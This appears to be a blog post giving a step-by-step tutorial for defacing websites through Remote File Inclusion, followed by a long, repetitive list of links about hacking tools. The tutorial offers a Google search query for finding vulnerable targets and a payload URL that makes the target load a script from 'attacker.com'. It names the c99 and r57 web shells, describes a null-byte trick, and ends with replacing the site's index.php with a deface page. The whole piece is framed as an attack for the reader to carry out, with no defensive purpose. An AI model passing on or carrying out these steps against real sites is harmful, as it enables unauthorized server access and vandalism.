HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related articles

1. Pentest Tools Github
2. Usb Pentest Tools
3. New Hacker Tools
4. Pentest Tools Website
5. Pentest Tools Windows
6. Pentest Tools Nmap
7. Hacker Tools Linux
8. Pentest Tools Tcp Port Scanner
9. Hacking Tools Mac
10. Pentest Tools Windows
11. Pentest Tools
12. Hack Tool Apk
13. World No 1 Hacker Software
14. Pentest Tools For Ubuntu
15. Hack Tools For Pc
16. Hack Tools For Pc
17. Bluetooth Hacking Tools Kali
18. Pentest Tools Download
19. Hacker Tools 2019
20. Growth Hacker Tools
21. Android Hack Tools Github
22. Hacking Tools Mac
23. Bluetooth Hacking Tools Kali
24. Pentest Tools Open Source
25. Hacking Tools Download
26. Pentest Tools Open Source
27. Pentest Tools Android
28. Hack Tools Mac
29. Hacking Tools For Kali Linux
30. Hacker Techniques Tools And Incident Handling
31. Pentest Tools Windows
32. Best Pentesting Tools 2018
33. Pentest Tools Windows
34. Hack Tools Download
35. Hack Tools For Pc
36. Pentest Tools Linux
37. Pentest Tools For Ubuntu
38. Pentest Tools For Ubuntu
39. Hacking Tools For Windows Free Download
40. Hacker Tools Online
41. Hacker Hardware Tools
42. Tools 4 Hack
43. Best Hacking Tools 2019
44. Hacking Tools For Windows
45. Install Pentest Tools Ubuntu
46. Hacker Tools For Windows
47. Pentest Tools Windows
48. Hacker Tools Hardware
49. Hack Tools
50. Hacking Tools Name
51. Hack Rom Tools
52. What Are Hacking Tools
53. Pentest Tools Bluekeep
54. Usb Pentest Tools
55. What Are Hacking Tools
56. Top Pentest Tools
57. Hacking Tools For Windows 7
58. Pentest Tools Download
59. Wifi Hacker Tools For Windows
60. Hacker Tools Apk Download
61. New Hack Tools
62. Hack Tools Mac
63. Hacking Tools For Windows
64. Hackers Toolbox
65. Growth Hacker Tools
66. Physical Pentest Tools
67. Hacker Tools Apk Download
68. Pentest Tools Find Subdomains
69. Hacker Tools
70. Pentest Tools Framework
71. Top Pentest Tools
72. Hacks And Tools
73. Hack Tools Pc
74. Tools For Hacker
75. Hack App
76. Hacker Tools List
77. Hack Tools Download
78. Tools 4 Hack
79. Pentest Tools Windows
80. Hack Tools For Ubuntu
81. Hack Tools Mac
82. Hacking Tools Mac
83. Hacking App
84. World No 1 Hacker Software
85. Hacker Tools